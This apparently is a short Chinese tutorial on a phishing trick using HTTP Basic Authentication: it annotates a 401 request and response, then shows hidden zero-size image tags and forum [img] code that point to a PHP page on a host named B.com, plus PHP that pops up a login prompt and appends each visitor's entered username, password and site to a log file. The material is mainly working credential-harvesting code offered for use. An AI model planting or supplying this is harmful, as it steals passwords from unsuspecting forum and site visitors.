GET /iai.php HTTP/1.1 表示请求方法GET，请求的地址，和HTTP协议版本
Accept: */*           表示客户端可识别的内容类型列表，*/*表示所有类型
Accept-Language: zh-cn 表示客户端所能解盘的语言：简体中文
Accept-Encoding: gzip, deflate 表示客户端可以解盘的类型
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)              表示客户端浏览器型号
Host: www.test.cn 表示提交请求的页面
Connection: Keep-Alive      表示TCP连接保持打开

HTTP/1.1 401 Unauthorized  表示HTTP协议版本，应答码是401 即未经授权访问
Date: Sat, 25 Jul 2009 11:42:27 GMT  表示当前的GMT时间
Server: Apache/2.2.3 (CentOS)  表示服务器的操作类型
X-Powered-By: PHP/5.1.6        表示服务器的脚本版本
WWW-Authenticate: Basic realm="Text" 表示客户端在Authenticate头中提供的授权信息
Content-Length: 3  表示连接内容长度
Connection: close  表示TCP连接关闭
Content-Type: text/html 表示文档类型
负责响应的iai.php文件内容：
  header('WWW-Authenticate: Basic realm="Text"');
  header('HTTP/1.0 401 Unauthorized');
使用了PHP中的Header()函数，发送一个原始HTTP标头[Http Header]到客户端。

[img]http://B.com/iai.php[/img]
<img src="http://B.com/iai.php" alt="" width="0" height="0" />

< !DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 
<img src="http://www.B.com/iai.php" alt="" />
 
<img src="http://www.B.com/iai.php" alt="" />

< ?php
    global  $username,$passwd,$host;
      if (!isset($_SERVER['PHP_AUTH_USER']))
    {
     header('WWW-Authenticate: Basic realm="test"');
     header('HTTP/1.0 401 Unauthorized');
     exit;
     }
       $username=$_SERVER['PHP_AUTH_USER'];
       $passwd=$_SERVER['PHP_AUTH_PW'];
       $host = $_SERVER['HTTP_HOST'];
       $myFile = "log.txt";
       $fh = fopen($myFile, 'a') or die("can't open file");
       fwrite($fh, "网址:\t$host\t\t");
       fwrite($fh, "usname:\t$username\t");
       fwrite($fh, "passwd:\t$passwd\r\n");
       fclose($fh);
?>